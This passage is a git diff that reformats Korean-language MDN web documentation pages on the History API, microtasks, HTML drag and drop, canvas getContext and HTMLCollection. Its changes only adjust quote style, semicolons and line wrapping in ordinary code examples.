 **`History`** 인터페이스는 브라우저의 세션 기록, 즉 현재 페이지를 불러온 탭 또는 프레임의 방문 기록을 조작할 수 있는 방법을 제공합니다.
diff --git a/files/ko/web/api/history/replacestate/index.md b/files/ko/web/api/history/replacestate/index.md
index d6516cb893912a..cbdf37e1d1cb29 100644
--- a/files/ko/web/api/history/replacestate/index.md
+++ b/files/ko/web/api/history/replacestate/index.md
@@ -2,6 +2,7 @@
 title: History.replaceState()
 slug: Web/API/History/replaceState
 ---
+
 {{APIRef("History API")}}
 
 **`History.replaceState()`** 메서드는 현재 history를 수정해 메소드의 매개 변수에 전달 된 `stateObj`, `title`, `URL`로 대체합니다. 이 방법은 특히 일부 유저의 동작에 대한 응답으로 history 객체의 상태나 현재 history의 URL을 업데이트하려는 경우에 유용합니다.
@@ -26,14 +27,14 @@ history.replaceState(stateObj, title[, url])
 `http://www.mozilla.org/` 에서 아래 JavaScript를 실행한다고 가정합시다:
 
 ```js
-const stateObj = { foo: 'bar' };
-history.pushState(stateObj, '', 'bar.html');
+const stateObj = { foo: "bar" };
+history.pushState(stateObj, "", "bar.html");
 ```
 
 위 두 줄에 대한 설명은 [Working with the History API](/ko/docs/Web/API/History_API/Working_with_the_History_API) 문서의 [Example of `pushState()` method](/ko/docs/Web/API/History_API/Working_with_the_History_API#Example_of_pushState_method)에서 확인할 수 있습니다. 그 다음, `http://www.mozilla.org/bar.html` 에서 아래와 같은 JavaScript를 실행한다고 가정해보세요:
 
 ```js
-history.replaceState(stateObj, '', 'bar2.html');
+history.replaceState(stateObj, "", "bar2.html");
 ```
 
 이렇게하면 URL 표시줄에 `http://www.mozilla.org/bar2.html` 이라고 표시되지만, 브라우저가 `bar2.html` 을 로드하거나 `bar2.html`파일이 있는지 확인하지는 않습니다.
diff --git a/files/ko/web/api/history/scrollrestoration/index.md b/files/ko/web/api/history/scrollrestoration/index.md
index 3cdba0341be85a..cda768fe107bec 100644
--- a/files/ko/web/api/history/scrollrestoration/index.md
+++ b/files/ko/web/api/history/scrollrestoration/index.md
@@ -2,6 +2,7 @@
 title: History.scrollRestoration
 slug: Web/API/History/scrollRestoration
 ---
+
 {{APIRef("HTML DOM")}}
 
 **`History.scrollRestoration`** 속성을 사용하면 기록 탐색 시 사용할 스크롤 위치 복원 기능의 기본값을 웹 애플리케이션이 지정할 수 있습니다.
@@ -24,9 +25,11 @@ let scrollRestore = history.scrollRestoration;
 ### 현재 스크롤 복원 여부 알아내기
 
 ```js
-const scrollRestoration = history.scrollRestoration
-if (scrollRestoration === 'manual') {
-  console.log('The location on the page is not restored, user will need to scroll manually.');
+const scrollRestoration = history.scrollRestoration;
+if (scrollRestoration === "manual") {
+  console.log(
+    "The location on the page is not restored, user will need to scroll manually.",
+  );
 }
 ```
 
@@ -34,7 +37,7 @@ if (scrollRestoration === 'manual') {
 
 ```js
 if (history.scrollRestoration) {
-  window.history.scrollRestoration = 'manual';
+  window.history.scrollRestoration = "manual";
 }
 ```
 
diff --git a/files/ko/web/api/history/state/index.md b/files/ko/web/api/history/state/index.md
index e7ff35bb6dacd5..c4161c5b910288 100644
--- a/files/ko/web/api/history/state/index.md
+++ b/files/ko/web/api/history/state/index.md
@@ -12,7 +12,7 @@ slug: Web/API/History/state
 ## 구문
 
 ```js
-const currentState = history.state
+const currentState = history.state;
 ```
 
 ### 값
@@ -30,7 +30,7 @@ const currentState = history.state
 console.log(`History.state before pushState: ${history.state}`);
 
 // Now push something on the stack
-history.pushState({name: 'Example'}, "pushState example", 'page3.html');
+history.pushState({ name: "Example" }, "pushState example", "page3.html");
 
 // Now state has a value.
 console.log(`History.state after pushState: ${history.state}`);
diff --git a/files/ko/web/api/history_api/index.md b/files/ko/web/api/history_api/index.md
index 90c19682b3b1ae..14375b30228421 100644
--- a/files/ko/web/api/history_api/index.md
+++ b/files/ko/web/api/history_api/index.md
@@ -16,7 +16,7 @@ DOM의 {{domxref("Window")}} 객체는 {{domxref("Window.history", "history")}}
 방문 기록의 뒤로 이동하려면 다음과 같이 사용합니다.
 
 ```js
-history.back()
+history.back();
 ```
 
 위의 코드는 사용자가 브라우저 도구 모음의 뒤로 가기 버튼을 누른 것과 같습니다.
@@ -24,7 +24,7 @@ history.back()
 이와 비슷하게, 기록의 앞으로 (도구 모음의 앞으로 가기 버튼) 가는 것도 할 수 있습니다.
 
 ```js
-history.forward()
+history.forward();
 ```
 
 ### 기록의 특정 지점으로 이동
@@ -34,13 +34,13 @@ history.forward()
 한 페이지 뒤로 이동하려면 다음과 같이 사용합니다. ({{domxref("History.back", "back()")}}과 동일)
 
 ```js
-history.go(-1)
+history.go(-1);
 ```
 
 한 페이지 앞으로 이동하려면 다음과 같이 사용합니다. ({{domxref("History.forward", "forward()")}}와 동일)
 
 ```js
-history.go(1)
+history.go(1);
 ```
 
 매개변수로 지정한 숫자를 바꾸면 2 페이지씩 이동하는 것도 가능합니다.
@@ -51,14 +51,14 @@ history.go(1)
 // The following statements
 // both have the effect of
 // refreshing the page
-history.go(0)
-history.go()
+history.go(0);
+history.go();
 ```
 
 {{domxref("History.length", "length")}} 속성을 사용해 방문 기록 스택의 크기도 알아낼 수 있습니다.
 
 ```js
-let numberOfEntries = window.history.length
+let numberOfEntries = window.history.length;
 ```
 
 ## 인터페이스
@@ -71,16 +71,18 @@ let numberOfEntries = window.history.length
 다음 예제는 {{domxref("window.onpopstate")}} 속성에 이벤트 처리기를 부착한 후, {{domxref("window.history", "history")}} 객체를 사용해 브라우저 방문 기록을 추가하거나 대체한 후 탐색하는 코드입니다.
 
 ```js
-window.onpopstate = function(event) {
-  alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`)
-}
-
-history.pushState({page: 1}, "title 1", "?page=1")
-history.pushState({page: 2}, "title 2", "?page=2")
-history.replaceState({page: 3}, "title 3", "?page=3")
-history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
-history.back() // alerts "location: http://example.com/example.html, state: null"
-history.go(2)  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}"
+window.onpopstate = function (event) {
+  alert(
+    `location: ${document.location}, state: ${JSON.stringify(event.state)}`,
+  );
+};
+
+history.pushState({ page: 1 }, "title 1", "?page=1");
+history.pushState({ page: 2 }, "title 2", "?page=2");
+history.replaceState({ page: 3 }, "title 3", "?page=3");
+history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // alerts "location: http://example.com/example.html, state: null"
+history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3}"
 ```
 
 ## 명세
diff --git a/files/ko/web/api/html_dom_api/microtask_guide/index.md b/files/ko/web/api/html_dom_api/microtask_guide/index.md
index a3404acf0f51d2..24d2982a7fb175 100644
--- a/files/ko/web/api/html_dom_api/microtask_guide/index.md
+++ b/files/ko/web/api/html_dom_api/microtask_guide/index.md
@@ -72,16 +72,18 @@ queueMicrotask(() => {
 마이크로태스크를 사용해 실행 순서를 항상 일정하게 유지할 수 있는 상황은 `if...else` 선언문 (또는 다른 조건 선언문) 중 한 절에서만 프로미스를 사용하고, 다른 절에서는 사용하지 않는 것입니다. 다음과 같은 코드를 고려해보겠습니다.
 
 ```js
-customElement.prototype.getData = url => {
+customElement.prototype.getData = (url) => {
   if (this.cache[url]) {
     this.data = this.cache[url];
     this.dispatchEvent(new Event("load"));
   } else {
-    fetch(url).then(result => result.arrayBuffer()).then(data => {
-      this.cache[url] = data;
-      this.data = data;
-      this.dispatchEvent(new Event("load"));
-    });
+    fetch(url)
+      .then((result) => result.arrayBuffer())
+      .then((data) => {
+        this.cache[url] = data;
+        this.data = data;
+        this.dispatchEvent(new Event("load"));
+      });
   }
 };
 ```
@@ -118,18 +120,20 @@ Data fetched
 `if` 절에서 마이크로태스크를 사용해 두 절의 균형을 맞춰주는 방법으로 항상 같은 실행 순서를 유지할 수 있습니다.
 
 ```js
-customElement.prototype.getData = url => {
+customElement.prototype.getData = (url) => {
   if (this.cache[url]) {
     queueMicrotask(() => {
       this.data = this.cache[url];
       this.dispatchEvent(new Event("load"));
     });
   } else {
-    fetch(url).then(result => result.arrayBuffer()).then(data => {
-      this.cache[url] = data;
-      this.data = data;
-      this.dispatchEvent(new Event("load"));
-    });
+    fetch(url)
+      .then((result) => result.arrayBuffer())
+      .then((data) => {
+        this.cache[url] = data;
+        this.data = data;
+        this.dispatchEvent(new Event("load"));
+      });
   }
 };
 ```
@@ -145,7 +149,7 @@ customElement.prototype.getData = url => {
 ```js
 const messageQueue = [];
 
-let sendMessage = message => {
+let sendMessage = (message) => {
   messageQueue.push(message);
 
   if (messageQueue.length === 1) {
@@ -175,15 +179,14 @@ let sendMessage = message => {
 다음의 간단한 예제에서는, 큐에 추가한 마이크로태스크의 콜백은 최상위 스크립트의 동작이 끝난 후 실행된다는 것을 보입니다.
 
 ```html hidden
-<pre id="log">
-</pre>
+<pre id="log"></pre>
 ```
 
 #### JavaScript
 
 ```js hidden
 let logElem = document.getElementById("log");
-let log = s => logElem.innerHTML += s + "<br>";
+let log = (s) => (logElem.innerHTML += s + "<br>");
 ```
 
 이어지는 코드에서 {{domxref("queueMicrotask()")}}를 사용해 실행할 마이크로태스크를 예약하는 것을 볼 수 있습니다. 앞뒤로는 `log()` 호출을 배치했는데, 화면에 텍스트를 출력하는 함수입니다.
@@ -191,7 +194,7 @@ let log = s => logElem.innerHTML += s + "<br>";
 ```js
 log("마이크로태스크 추가 전");
 queueMicrotask(() => {
-  log("마이크로태스크를 실행했습니다.")
+  log("마이크로태스크를 실행했습니다.");
 });
 log("마이크로태스크 추가 후");
 ```
@@ -205,15 +208,14 @@ log("마이크로태스크 추가 후");
 이 예제에서는 0밀리초의 타임아웃("최대한 빠르게")을 예약합니다. 여기서 확인할 수 있는 것은 (`setTimeout()` 등을 사용해) 태스크를 생성할 때의 "최대한 빠르게"와, 마이크로태스크에서의 "최대한 빠르게"는 다르다는 점입니다.
 
 ```html hidden
-<pre id="log">
-</pre>
+<pre id="log"></pre>
 ```
 
 #### JavaScript
 
 ```js hidden
 let logElem = document.getElementById("log");
-let log = s => logElem.innerHTML += s + "<br>";
+let log = (s) => (logElem.innerHTML += s + "<br>");
 ```
 
 이어지는 코드에서 {{domxref("queueMicrotask()")}}를 사용해 실행할 마이크로태스크를 예약하는 것을 볼 수 있습니다. 그 위에서는 타임아웃을 0ms 후 발동하도록 예약합니다. 앞뒤로는 `log()` 호출을 배치했는데, 화면에 텍스트를 출력하는 함수입니다.
@@ -240,15 +242,14 @@ log("주 프로그램 종료");
 이 예제는 이전 예제를 약간 확장해, `queueMicrotask()`로 마이크로태스크를 예약한 후 모종의 계산 작업을 수행하는 함수를 사용합니다. 여기서 확인해야 할 것은 마이크로태스크의 실행 시점이 함수의 종료 순간이 아니고 주 프로그램의 종료 시점이라는 점입니다.
 
 ```html hidden
-<pre id="log">
-</pre>
+<pre id="log"></pre>
 ```
 
 #### JavaScript
 
 ```js hidden
 let logElem = document.getElementById("log");
-let log = s => logElem.innerHTML += s + "<br>";
+let log = (s) => (logElem.innerHTML += s + "<br>");
 ```
 
 주 프로그램 코드는 다음과 같습니다. `doWork()` 함수가 `queueMicrotask()`를 호출하지만, 태스크가 종료되어 실행 스택에 아무것도 남지 않은 상태가 되는, 즉 전체 프로그램 실행이 종료되기 전까지 이 마이크로태스크는 처리되지 않는 것을 결과에서 볼 수 있습니다.
@@ -263,7 +264,7 @@ let doWork = () => {
 
   queueMicrotask(urgentCallback);
 
-  for (let i=2; i<=10; i++) {
+  for (let i = 2; i <= 10; i++) {
     result *= i;
   }
   return result;
diff --git a/files/ko/web/api/html_drag_and_drop_api/drag_operations/index.md b/files/ko/web/api/html_drag_and_drop_api/drag_operations/index.md
index 080a087658fb41..8f3450e43e1194 100644
--- a/files/ko/web/api/html_drag_and_drop_api/drag_operations/index.md
+++ b/files/ko/web/api/html_drag_and_drop_api/drag_operations/index.md
@@ -3,6 +3,7 @@ title: Drag Operations
 slug: Web/API/HTML_Drag_and_Drop_API/Drag_operations
 original_slug: Web/API/HTML_드래그_앤_드롭_API/Drag_operations
 ---
+
 {{DefaultAPISidebar("HTML Drag and Drop API")}}
 
 다음은 드래그 & 드랍(drag & drop) 동작 실행 시 각 단계에 대한 설명입니다.
@@ -24,7 +25,9 @@ HTML에서 이미지나 링크 그리고 선택(selections)에 대한 기본 행
 컨텐츠의 일부 영역을 드래그할 수 있도록 만드는 예제는 다음과 같습니다.
 
 ```html
-<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
+<div
+  draggable="true"
+  ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
   This text <strong>may</strong> be dragged.
 </div>
 ```
@@ -36,7 +39,9 @@ HTML에서 이미지나 링크 그리고 선택(selections)에 대한 기본 행
 XUL 요소에 대해서는 `{{htmlattrxref("draggable")}}` 속성을 사용할 필요가 없으며, 모든 XUL 요소는 드래그가 가능합니다.
 
 ```html
-<button label="Drag Me" ondragstart="event.dataTransfer.setData('text/plain', 'Drag Me Button');">
+<button
+  label="Drag Me"
+  ondragstart="event.dataTransfer.setData('text/plain', 'Drag Me Button');"></button>
 ```
 
 ## 드래그 작업 시작
@@ -44,7 +49,9 @@ XUL 요소에 대해서는 `{{htmlattrxref("draggable")}}` 속성을 사용할 
 이 예제에서는 `{{domxref("GlobalEventHandlers.ondragstart","ondragstart")}}` 속성을 이용하여 {{event("dragstart")}} 이벤트에 대한 리스너를 추가합니다.
 
 ```html
-<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
+<div
+  draggable="true"
+  ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
   This text <strong>may</strong> be dragged.
 </div>
 ```
@@ -108,7 +115,10 @@ event.dataTransfer.setDragImage(image, xOffset, yOffset);
 
 ```js
 function dragWithCustomImage(event) {
-  var canvas = document.createElementNS("http://www.w3.org/1999/xhtml","canvas");
+  var canvas = document.createElementNS(
+    "http://www.w3.org/1999/xhtml",
+    "canvas",
+  );
   canvas.width = canvas.height = 50;
 
   var ctx = canvas.getContext("2d");
@@ -120,7 +130,7 @@ function dragWithCustomImage(event) {
   ctx.stroke();
 
   var dt = event.dataTransfer;
-  dt.setData('text/plain', 'Data to Drag');
+  dt.setData("text/plain", "Data to Drag");
   dt.setDragImage(canvas, 25, 25);
 }
 ```
@@ -182,7 +192,8 @@ event.dataTransfer.dropEffect = "copy";
 
 ```html
 <div ondragover="return false">
-<div ondragover="event.preventDefault()">
+  <div ondragover="event.preventDefault()"></div>
+</div>
 ```
 
 `{{event("dragenter")}}` and `{{event("dragover")}}` 두 이벤트 모두에서 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하는 것은 그 위치에 드랍이 허용되는 것을 나타냅니다. 하지만, 일반적으로 특정한 상황에서만, 예를 들자면 링크가 드래그될 때만 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하길 원할 것입니다. 이렇게 하기 위해서는 조건을 확인하여 조건이 충족될 때에만 해당 이벤트를 취소하는 함수를 호출합니다. 조건이 충족되지 않을 경우, 이벤트를 취소하지 않으면 사용자가 마우스 버튼을 놓더라도 드랍은 발생하지 않을 것입니다.
@@ -191,14 +202,14 @@ data transfer의 드래그 데이터 형식에 따라 드랍을 허용하거나
 
 ```js
 function contains(list, value) {
-    for( var i = 0; i < list.length; ++i ) {
-        if(list[i] === value) return true;
-    }
-    return false;
+  for (var i = 0; i < list.length; ++i) {
+    if (list[i] === value) return true;
+  }
+  return false;
 }
 
 function doDragOver(event) {
-  var isLink = contains( event.dataTransfer.types, "text/uri-list");
+  var isLink = contains(event.dataTransfer.types, "text/uri-list");
   if (isLink) {
     event.preventDefault();
   }
@@ -216,7 +227,7 @@ function doDragOver(event) {
 그 결과로, [contains](/ko/docs/Web/API/Node/contains) 메서드는 해당 속성에 대해 더 이상 동작하지 않으며; 특정 형식의 데이터가 제공되는지 확인하기 위해서는 다음 코드와 같이 [includes](/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/includes) 메서드를 사용해야 합니다:
 
 ```js
-if ([...event.dataTransfer.types].includes('text/html')) {
+if ([...event.dataTransfer.types].includes("text/html")) {
   // Do something
 }
 ```
@@ -271,8 +282,7 @@ You can retrieve other types of data as well. If the data is a link, it should h
 function doDrop(event) {
   var lines = event.dataTransfer.getData("text/uri-list").split("\n");
   for (let line of lines) {
-    if (line.startsWith("#"))
-      continue;
+    if (line.startsWith("#")) continue;
 
     let link = document.createElement("a");
     link.href = line;
@@ -302,10 +312,13 @@ The following example returns the data associated with the best-supported format
 ```js
 function doDrop(event) {
   var types = event.dataTransfer.types;
-  var supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+  var supportedTypes = [
+    "application/x-moz-file",
+    "text/uri-list",
+    "text/plain",
+  ];
   types = supportedTypes.filter((value) => types.includes(value));
-  if (types.length)
-    var data = event.dataTransfer.getData(types[0]);
+  if (types.length) var data = event.dataTransfer.getData(types[0]);
   event.preventDefault();
 }
 ```
diff --git a/files/ko/web/api/html_drag_and_drop_api/index.md b/files/ko/web/api/html_drag_and_drop_api/index.md
index eace153475ea08..713838c894fdbd 100644
--- a/files/ko/web/api/html_drag_and_drop_api/index.md
+++ b/files/ko/web/api/html_drag_and_drop_api/index.md
@@ -3,6 +3,7 @@ title: HTML 드래그 앤 드롭 API
 slug: Web/API/HTML_Drag_and_Drop_API
 original_slug: Web/API/HTML_드래그_앤_드롭_API
 ---
+
 {{DefaultAPISidebar("HTML 드래그 앤 드롭 API")}}
 
 HTML 드래그 앤 드롭 인터페이스는 파이어폭스와 다른 브라우저에서 어플리케이션이 드래그 앤 드롭 기능을 사용하게 해줍니다. 이 기능을 이용해 사용자는 _draggable_ 요소를 마우스로 선택해 _droppable_ 요소로 드래그하고, 마우스 버튼에서 손을 뗌으로써 요소를 드롭할 수 있습니다. 드래그하는 동안 draggable 요소는 반투명한 채로 마우스 포인터를 따라다닙니다.
@@ -17,16 +18,16 @@ HTML 드래그 앤 드롭은 {{domxref("Event","DOM event model")}} 과 _{{domxr
 
 모든 [드래그 이벤트](/ko/docs/Web/API/DragEvent#Event_types)는 [글로벌 이벤트 핸들러](/ko/docs/Web/API/DragEvent#GlobalEventHandlers)와 연결되어 있습니다. 각 드래그 이벤트와 드래그 전역 속성은 참조 문서를 가지고 있습니다. 아래 표는 각 이벤트에 대한 간략한 설명과 참조 문서로의 링크를 담고 있습니다.
 
-| 이벤트                                                       | 이벤트 핸들러                                                                    | 설명                                                                                                                                                     |
-| ------------------------------------------------------------ | -------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| {{domxref('Document/drag_이벤트', 'drag')}} | {{domxref('GlobalEventHandlers.ondrag','ondrag')}}             | 요소나 텍스트 블록을 드래그 할 때 발생한다.                                                                                                              |
-| {{event('dragend')}}                                 | {{domxref('GlobalEventHandlers.ondragend','ondragend')}}     | 드래그를 끝냈을 때 발생한다. (마우스 버튼을 떼거나 ESC 키를 누를 때) ([드래그 끝내기](/ko/docs/DragDrop/Drag_Operations#dragend)를 보시오)               |
-| {{event('dragenter')}}                                 | {{domxref('GlobalEventHandlers.ondragenter','ondragenter')}} | 드래그한 요소나 텍스트 블록을 적합한 드롭 대상위에 올라갔을 때 발생한다. ([드롭 대상 지정하기](/ko/docs/DragDrop/Drag_Operations#droptargets)를 보시오.) |
-| {{event('dragexit')}}                                 | {{domxref('GlobalEventHandlers.ondragexit','ondragexit')}}     | 요소가 더 이상 드래그의 직접적인 대상이 아닐 때 발생한다.                                                                                                |
-| {{event('dragleave')}}                                 | {{domxref('GlobalEventHandlers.ondragleave','ondragleave')}} | 드래그하는 요소나 텍스트 블록이 적합한 드롭 대상에서 벗어났을 때 발생한다.                                                                               |
-| {{event('dragover')}}                                 | {{domxref('GlobalEventHandlers.ondragover','ondragover')}}     | 요소나 텍스트 블록을 적합한 드롭 대상 위로 지나갈 때 발생한다. (매 수백 밀리초마다 발생한다.)                                                            |
-| {{event('dragstart')}}                                 | {{domxref('GlobalEventHandlers.ondragstart','ondragstart')}} | 사용자가 요소나 텍스트 블록을 드래그하기 시작했을 때 발생한다. ([드래그 시작하기](/ko/docs/DragDrop/Drag_Operations#dragstart)를 보시오.)                |
-| {{event('drop')}}                                     | {{domxref('GlobalEventHandlers.ondrop','ondrop')}}             | 요소나 텍스트 블록을 적합한 드롭 대상에 드롭했을 때 발생한다. ([드롭하기](/ko/docs/DragDrop/Drag_Operations#dragstart)를 보시오.)                        |
+| 이벤트                                      | 이벤트 핸들러                                                | 설명                                                                                                                                                     |
+| ------------------------------------------- | ------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {{domxref('Document/drag_이벤트', 'drag')}} | {{domxref('GlobalEventHandlers.ondrag','ondrag')}}           | 요소나 텍스트 블록을 드래그 할 때 발생한다.                                                                                                              |
+| {{event('dragend')}}                        | {{domxref('GlobalEventHandlers.ondragend','ondragend')}}     | 드래그를 끝냈을 때 발생한다. (마우스 버튼을 떼거나 ESC 키를 누를 때) ([드래그 끝내기](/ko/docs/DragDrop/Drag_Operations#dragend)를 보시오)               |
+| {{event('dragenter')}}                      | {{domxref('GlobalEventHandlers.ondragenter','ondragenter')}} | 드래그한 요소나 텍스트 블록을 적합한 드롭 대상위에 올라갔을 때 발생한다. ([드롭 대상 지정하기](/ko/docs/DragDrop/Drag_Operations#droptargets)를 보시오.) |
+| {{event('dragexit')}}                       | {{domxref('GlobalEventHandlers.ondragexit','ondragexit')}}   | 요소가 더 이상 드래그의 직접적인 대상이 아닐 때 발생한다.                                                                                                |
+| {{event('dragleave')}}                      | {{domxref('GlobalEventHandlers.ondragleave','ondragleave')}} | 드래그하는 요소나 텍스트 블록이 적합한 드롭 대상에서 벗어났을 때 발생한다.                                                                               |
+| {{event('dragover')}}                       | {{domxref('GlobalEventHandlers.ondragover','ondragover')}}   | 요소나 텍스트 블록을 적합한 드롭 대상 위로 지나갈 때 발생한다. (매 수백 밀리초마다 발생한다.)                                                            |
+| {{event('dragstart')}}                      | {{domxref('GlobalEventHandlers.ondragstart','ondragstart')}} | 사용자가 요소나 텍스트 블록을 드래그하기 시작했을 때 발생한다. ([드래그 시작하기](/ko/docs/DragDrop/Drag_Operations#dragstart)를 보시오.)                |
+| {{event('drop')}}                           | {{domxref('GlobalEventHandlers.ondrop','ondrop')}}           | 요소나 텍스트 블록을 적합한 드롭 대상에 드롭했을 때 발생한다. ([드롭하기](/ko/docs/DragDrop/Drag_Operations#dragstart)를 보시오.)                        |
 
 > **참고:** `참고: dragstart`와 `dragend` 이벤트는 파일을 브라우저로 드래그할 때는 발생하지 않습니다.
 
@@ -60,9 +61,9 @@ A key difference between the {{domxref("DataTransfer")}} and {{domxref("DataTran
 
 ```js
 function dragstart_handler(ev) {
- console.log("dragStart");
- // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
- ev.dataTransfer.setData("text/plain", ev.target.id);
+  console.log("dragStart");
+  // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+  ev.dataTransfer.setData("text/plain", ev.target.id);
 }
 ```
 
@@ -73,7 +74,7 @@ function dragstart_handler(ev) {
     ev.dataTransfer.setData("text/plain", ev.target.id);
   }
 
-  window.addEventListener('DOMContentLoaded', () => {
+  window.addEventListener("DOMContentLoaded", () => {
     // id를 통해 element를 가져옵니다.
     const element = document.getElementById("p1");
     // 'dragstart' 이벤트 리스터를 추가합니다.
@@ -112,7 +113,7 @@ function dragstart_handler(ev) {
   // 드래그 이미지로 사용할 이미지를 만듭니다.
   // 참고: "example.gif"를 존재하는 이미지로 바꾸지 않으면 기본 드래그 이미지를 사용합니다.
   var img = new Image();
-  img.src = 'example.gif';
+  img.src = "example.gif";
   ev.dataTransfer.setDragImage(img, 10, 10);
 }
 ```
@@ -150,20 +151,25 @@ function dragstart_handler(ev) {
 
 ```html
 <script>
-function dragover_handler(ev) {
-  ev.preventDefault();
-  // dropEffect를 move로 설정.
-  ev.dataTransfer.dropEffect = "move";
-}
-function drop_handler(ev) {
-  ev.preventDefault();
-  // 대상의 id를 가져와 대상 DOM에 움직인 요소를 추가합니다.
-  const data = ev.dataTransfer.getData("text/plain");
-  ev.target.appendChild(document.getElementById(data));
-}
+  function dragover_handler(ev) {
+    ev.preventDefault();
+    // dropEffect를 move로 설정.
+    ev.dataTransfer.dropEffect = "move";
+  }
+  function drop_handler(ev) {
+    ev.preventDefault();
+    // 대상의 id를 가져와 대상 DOM에 움직인 요소를 추가합니다.
+    const data = ev.dataTransfer.getData("text/plain");
+    ev.target.appendChild(document.getElementById(data));
+  }
 </script>
 
-<p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Drop Zone</p>
+<p
+  id="target"
+  ondrop="drop_handler(event)"
+  ondragover="dragover_handler(event)">
+  Drop Zone
+</p>
 ```
 
 각 핸들러는 {{domxref("Event.preventDefault","preventDefault()")}} 를 호출해 추가적인 이벤트 (터치 이벤트나 포인터 이벤트) 가 일어나지 않도록 합니다.
@@ -178,26 +184,33 @@ function drop_handler(ev) {
 
 ```html
 <script>
-function dragstart_handler(ev) {
-  // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
-  ev.dataTransfer.setData("application/my-app", ev.target.id);
-  ev.dataTransfer.dropEffect = "move";
-}
-function dragover_handler(ev) {
-  ev.preventDefault();
-  ev.dataTransfer.dropEffect = "move"
-}
-function drop_handler(ev) {
-  ev.preventDefault();
-  // 대상의 id를 가져와 이동한 대상 DOM 요소를 추가합니다.
-  // Get the id of the target and add the moved element to the target's DOM
-  const data = ev.dataTransfer.getData("application/my-app");
-  ev.target.appendChild(document.getElementById(data));
-}
+  function dragstart_handler(ev) {
+    // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+    ev.dataTransfer.setData("application/my-app", ev.target.id);
+    ev.dataTransfer.dropEffect = "move";
+  }
+  function dragover_handler(ev) {
+    ev.preventDefault();
+    ev.dataTransfer.dropEffect = "move";
+  }
+  function drop_handler(ev) {
+    ev.preventDefault();
+    // 대상의 id를 가져와 이동한 대상 DOM 요소를 추가합니다.
+    // Get the id of the target and add the moved element to the target's DOM
+    const data = ev.dataTransfer.getData("application/my-app");
+    ev.target.appendChild(document.getElementById(data));
+  }
 </script>
 
-<p id="p1" draggable="true" ondragstart="dragstart_handler(event)">This element is draggable.</p>
-<div id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Drop Zone</div>
+<p id="p1" draggable="true" ondragstart="dragstart_handler(event)">
+  This element is draggable.
+</p>
+<div
+  id="target"
+  ondrop="drop_handler(event)"
+  ondragover="dragover_handler(event)">
+  Drop Zone
+</div>
 ```
 
 더 많은 정보를 위해 [Performing a Drop](/ko/docs/Web/Guide/HTML/Drag_operations#drop)을 보십시오.
diff --git a/files/ko/web/api/htmlcanvaselement/getcontext/index.md b/files/ko/web/api/htmlcanvaselement/getcontext/index.md
index 7912940e64ec24..78186b5892861d 100644
--- a/files/ko/web/api/htmlcanvaselement/getcontext/index.md
+++ b/files/ko/web/api/htmlcanvaselement/getcontext/index.md
@@ -2,6 +2,7 @@
 title: HTMLCanvasElement.getContext()
 slug: Web/API/HTMLCanvasElement/getContext
 ---
+
 {{APIRef("Canvas API")}}
 
 **`HTMLCanvasElement.getContext()`** 메소드는 캔버스의 드로잉 컨텍스트를 반환합니다. 컨텍스트 식별자가 지원되지 않을 경우 {{jsxref("null")}}을 반환합니다.
@@ -65,8 +66,8 @@ var ctx = canvas.getContext(contextType, contextAttributes);
 다음 코드를 사용해 캔버스의 `2d` 컨텍스트를 얻을 수 있습니다.
 
 ```js
-var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
+var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
 console.log(ctx); // CanvasRenderingContext2D { ... }
 ```
 
diff --git a/files/ko/web/api/htmlcanvaselement/index.md b/files/ko/web/api/htmlcanvaselement/index.md
index 55a8b49e0e95a1..8940b30309fabd 100644
--- a/files/ko/web/api/htmlcanvaselement/index.md
+++ b/files/ko/web/api/htmlcanvaselement/index.md
@@ -2,6 +2,7 @@
 title: HTMLCanvasElement
 slug: Web/API/HTMLCanvasElement
 ---
+
 {{APIRef("Canvas API")}}
 
 **`HTMLCanvasElement`** 인터페이스는 \<canvas> 요소의 레이아웃이나 프레젠테이션을 조작하는 여러 프로퍼티와 메서드들을 제공합니다. 또한 `HTMLCanvasElement` 인터페이스는 {{domxref("HTMLElement")}} 인터페이스의 여러 프로퍼티와 메서드들을 상속받습니다.
diff --git a/files/ko/web/api/htmlcollection/item/index.md b/files/ko/web/api/htmlcollection/item/index.md
index e697c2b1096581..622d6526183082 100644
--- a/files/ko/web/api/htmlcollection/item/index.md
+++ b/files/ko/web/api/htmlcollection/item/index.md
@@ -12,7 +12,7 @@ slug: Web/API/HTMLCollection/item
 ## Syntax
 
 ```js
-var element = HTMLCollection.item(index)
+var element = HTMLCollection.item(index);
 ```
 
 ### 파라미터
@@ -31,9 +31,9 @@ var element = HTMLCollection.item(index)
 ## Example
 
 ```js
-var c = document.images;  // HTMLCollection입니다
-var img0 = c.item(0);     // 이렇게 item() 메소드를 이용할 수 있지만
-var img1 = c[1];          // 이렇게 표기하는게 쉽고 더 보편적입니다
+var c = document.images; // HTMLCollection입니다
+var img0 = c.item(0); // 이렇게 item() 메소드를 이용할 수 있지만
+var img1 = c[1]; // 이렇게 표기하는게 쉽고 더 보편적입니다
 ```
 
 ## 브라우저 호환성
diff --git a/files/ko/web/api/htmldocument/index.md b/files/ko/web/api/htmldocument/index.md
index 932fc83426becd..f626606e69ebc7 100644
--- a/files/ko/web/api/htmldocument/index.md
+++ b/files/ko/web/api/htmldocument/index.md
